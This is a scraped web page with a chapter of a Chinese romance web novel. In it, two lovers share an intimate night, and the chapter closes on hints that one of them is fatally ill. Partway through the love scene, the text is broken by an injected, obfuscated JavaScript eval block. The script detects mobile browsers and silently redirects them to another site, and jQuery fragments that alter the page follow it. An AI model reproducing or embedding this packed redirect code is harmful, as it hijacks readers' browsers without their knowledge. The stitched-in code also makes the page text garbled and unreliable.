130. 你难受吗
作品:《恰巧那雪逢春》 回砦国京城的这一路,每到晚上,李碎琼都会在燕暖冬房间打地铺,待至后半夜,他再以冷为借口,爬到她床上,紧紧抱着她不松手。
一连几天他都这样,索性燕暖冬直接让他上床睡觉,而他一晚比一晚穿的少,也一晚比一晚骚。
这不,他哼哼唧唧地在燕暖冬怀里乱拧,衣服穿得松松散散,还将半个白净的肩膀露了出来。
至于为什么露出来,只因燕暖冬不了小心碰到了他的肩膀,于是,他就毫不吝啬地将它展示出来。
最后还一脸无辜地看着燕暖冬,来上一句:“燕暖冬,你脱我衣服做什么?”
被倒打一耙的燕暖冬嘴角抽搐几下,却无从辩解。
这还不算,他睡觉时,也不往燕暖冬怀里钻了,而是面朝着她,噘着嘴睡。
睡前还不忘知会她一声:“燕暖冬,我好困,马上就睡着了。”
说完继续噘嘴,直到睡着,他才在睡梦中缩回燕暖冬的怀里。
有时他还会偷偷涂上燕暖冬冬天用的润唇脂。
他的目的性实在太明显,燕暖冬想遂了他的愿,‘偷亲’他一口,却每每憋笑憋得双颊通红,始终下不去嘴。
之后他们一路上差不多走了大半个月,等抵达砦国京城时,已到春天,是晚上。
砦国皇城内,砦皇寝宫,烛火摇曳,檀香扑鼻,江于宣侧躺在龙榻之上,他一手撑着太阳穴,轻轻揉捏着,时不时发出一声轻微的叹息。
一身形微胖的太监弯腰走了进来,脚步未发出任何声响,始终垂着头,声音很低。
“陛下,方才暗探来报,说飞奇将军将洲国那位找回来了,现下两人已安全抵达京城。”
江于宣始终紧闭双目假寐,看不出他脸上的表情,只听他低‘嗯’一声,摆动几下手掌,那太监又弯腰后退了出去。
此时,燕暖冬与李碎琼已回到家中,满院子依旧点着蜡烛,灯火通明。
“燕暖冬,这些蜡烛是……什么意思?”抱着七彩玉石的李碎琼移开视线,侧首看向燕暖冬,而七彩玉石被他雕刻得凹凸不平,不成样子。
燕暖冬眼中印着随风跳动的烛火光,温柔有神,她侧首与他相视,字字含情。
“为了盼你回家。”
美好的猜想得到证实,泪水混合着火光,碎成了星星点点在李碎琼眼中:“燕暖冬。”
“主人。”
就在此时,在屋里听到动静的小包子走了出来,见到燕暖冬,两眼放光地几下蹦到她怀里。
燕暖冬任由它抱着,垂眸笑着看它,关心道:“这些天,你一个人在家,可觉得无聊?”
当初她本想带上小包子一起寻找李碎琼,但它却死活不愿意,非要在家等她回来。
小包子摇头,笑得格外开心:“还好,可期会经常过来找我玩。”
能跟神做朋友,燕暖冬狠狠羡慕了,据说她上辈子跟渺珠神女也是朋友,但没有记忆的她,想象不到。
因天色很晚,她跟小包子未叙旧太久,便准备两桶热浴水,就跟李碎琼各自洗漱去了。
她洗澡慢,洗完澡时,看着李碎琼已经灭了灯的房间,纠结着要不要喊李碎琼跟她一起睡,如今回了家,确实没必要睡在一张床。
虽然她已经习惯了每晚抱着他睡,但似乎没有借口让他来她房间睡觉。
最终,她推开自己的房门,屋里一片漆黑,本想问小包子怎么不点灯,但怕它已经睡着了,不想打扰它,便轻轻合上门,蹑手蹑脚地摸索到床边。
随后脱了鞋,爬到床上,本欲脱衣服,但她察觉被子鼓鼓的。
“李碎琼?”
说着,她推了一把被子里的人。
故作半睡中的李碎琼含糊不清地应了她一声:“嗯?”
听到他的声音,燕暖冬觉得又好笑又无语:“你来我房间睡觉怎么不说一声?”
李碎琼声音还有些呓语,理直气壮道:“为何要说,我之前不都跟你一起睡的吗?”
一阵沉默,燕暖冬没再说什么,只脱了外衣,随即也钻进被子里,比往日暖和许多,下一秒,某人就扭着身子贴了过来。
她眼含笑意,下意识伸手抱住他。
等等,这手感……似乎不太对。
空气凝固片刻,燕暖冬用手捏了捏,反应过来的她脸色大变,差点惊坐起身,一把推开怀里的李碎琼,惊道:“你怎么不穿衣服?”
被推开的李碎琼委屈的声音在她耳边响起:“那我不是为了给你暖被窝吗?”
燕暖冬看向声音响起的方位:“可是你也不能一件衣服都不穿吧?”
她的语气有些重,李碎琼似是想不到怎么辩解,没再说话,翻过身,背对着她,带着哭腔不停咳嗽。
最见不得他哭的燕暖冬顿时软下心,心想他们现在是情人,不穿就不穿吧,反正他们又不会做什么。
于是她伸手将他轻轻翻转过来,一边擦拭他的泪水,一边柔声哄道:“对不起,刚刚是我语气不对,你不想穿那就不穿吧。”
李碎琼缓缓止住咳嗽,小鸟依人般钻进了燕暖冬的怀里,抽噎声还在断断续续,似是受了很大的委屈。
而他总是这样,明明是他占了便宜或犯了错,却比谁都委屈。
“你别把鼻涕弄到我衣服上了。”把他哄好的燕暖冬没忍住提醒。
抽噎声随着她语尽而滞住,下一秒,李碎琼作势又要翻身,燕暖冬憋着笑慌忙按住他:“你怎么这么容易生气?我说错话了,还不行吗?”
不说最后一句还好,最后一句一出,他赌气地跟她别着力,偏要转过去。
为了证明自己不嫌弃他,燕暖冬轻轻吻上了他的眉心。
“……”
李碎琼瞬间安静下来,连同呼吸一起停住,而他腹部本在灼烧般的阵阵作痛,随着燕暖冬的吻落下,似乎缓解不少,此刻他只能感受到燕暖冬温热的气息顺着他额头一路往下输送,激起他心脏在胸膛处剧烈澎湃。
使他失去了思考能力,燕暖冬温软的唇还在下滑,不紧不慢地移动到他鼻尖,他既紧张又兴奋,不由自主地滚动喉结,缓缓阖上了双眸。
时间似乎变得缓慢,他却并不急躁,异常有耐心地静待着燕暖冬覆上他的唇。
终于,随着她的吻贴上来,李碎琼觉得,他好像处于昏昏欲醉之中,头脑与身体完美契合,均陷入两种极端。
激动至极却又平静至极。
使他很想借用这个吻,激烈地回应燕暖冬,以此表达他对她的爱意。
但却又很享受燕暖冬的主动,最终他选择一次次迎接她的吻,配合着她的力度,配合着她的一呼一吸,配合着将她的唇含住,用舌尖细细品尝一番,再松开。
渐渐地,这个吻由浅变深,由外到内,在对方的口腔内探索、交缠。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170576|188783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她进他也进,她退他也进。
而两人在接吻方面似乎有无师自通的天赋,也有异于常人的定力。
这个吻最终在干柴烈火的顶峰时刻,不约而同地落下帷幕。
事后,李碎琼羞红了脸,也被彻底哄好,重新躲回了燕暖冬的怀里。
“燕暖冬,你就会欺负我。”
这话说得无厘头,燕暖冬笑了:“我怎么欺负你了?”
李碎琼将脸埋得更深了:“你总是把我欺负到想尿尿,但我却不舍得尿出来。”
燕暖冬这才意识到她的腿部硌得慌。
“……”
不是,他不会真是傻子吧?没人在他跟前耳濡目染过吗?
她尬笑两声,没说话,就当她欺负他了吧。
接下来的日子,燕暖冬继续按照小包子教的心法修道,而李碎琼则抱着他的玉石,一天到晚都在池边雕刻。
燕暖冬只当他无聊,有时会陪他坐一会儿,看着他在玉石上面乱刻。
这天,她像往常一样陪他在河边并肩坐着,与他计划着过几日带他去春游。
“我跟你说,楠平山上的花开了许多,可美了,还有青草,已经漫到脚跟了,后日阳光不错,我骑马带你过去,然后我们一起在附近散步,还可以躺在草坪上晒太阳,我再准备些水果点心,待到天黑,我们还可以一起看星星。”
说着,许是想象的画面太过美好,李碎琼停下手中动作,忍着身体的刺痛,与她相视着,不禁一同笑了起来。
他点头,笑容愈发浓烈:“好。”
燕暖冬脸上的笑却逐渐消失,泪水大颗大颗滚出眼眶,她伸出颤抖的手,停在李碎琼鼻下,用拇指轻轻擦拭。
“李碎琼,你是不是,很难受?”
李碎琼见她突然流泪,似是感受到一股熟悉的温热液体从鼻中流出,怕弄脏燕暖冬,他慌忙微微侧过身子,躲开她的手,一边抬手拭去鼻血,一边摇头。
“不难受,我只是最近有些上火,多喝点水就好了。”
见他这样,燕暖冬泪水不受控制地夺眶而出,想开口说话,附和他,然而尝试几次,她始终无法说出口。
“燕暖冬,你别哭,我真没事。”李碎琼没擦好鼻血,一直没有看向燕暖冬,但身旁的她实在太过安静,他能想象得到她此时的表情,于是故作轻快地安抚她。
燕暖冬无声哭着,轻轻点头,站起身,努力平复情绪:“那我去,给你倒杯水。”
她独自一人来到房间,才敢蹲在地上,但也不敢太过放肆,只将头埋在膝盖处,发出轻微的哭声……
此时,常真真强拉硬拽着常灵灵来找燕暖冬道歉,两人来到院中,没见到燕暖冬,只看到刚从厨房出来,清洗干净的李碎琼。
李碎琼看了他们一眼,宛如看到空气,迈步欲去房间找燕暖冬。
然而,常灵灵却语气拧巴地叫住他:“那个,先前的事,是我不对。”
李碎琼始终未理他,也未停下脚步。
“对不起,我当时不知道你只剩下不到一年的寿命了。”
“……”
许久之后
李碎琼脸上带着轻快的笑,轻轻推开门。
燕暖冬听到推门声,受惊地站起身,背对着李碎琼,手拿着水壶佯装很忙。
“燕暖冬,你不是要给我倒茶的吗?怎么反倒自己喝起来了?”

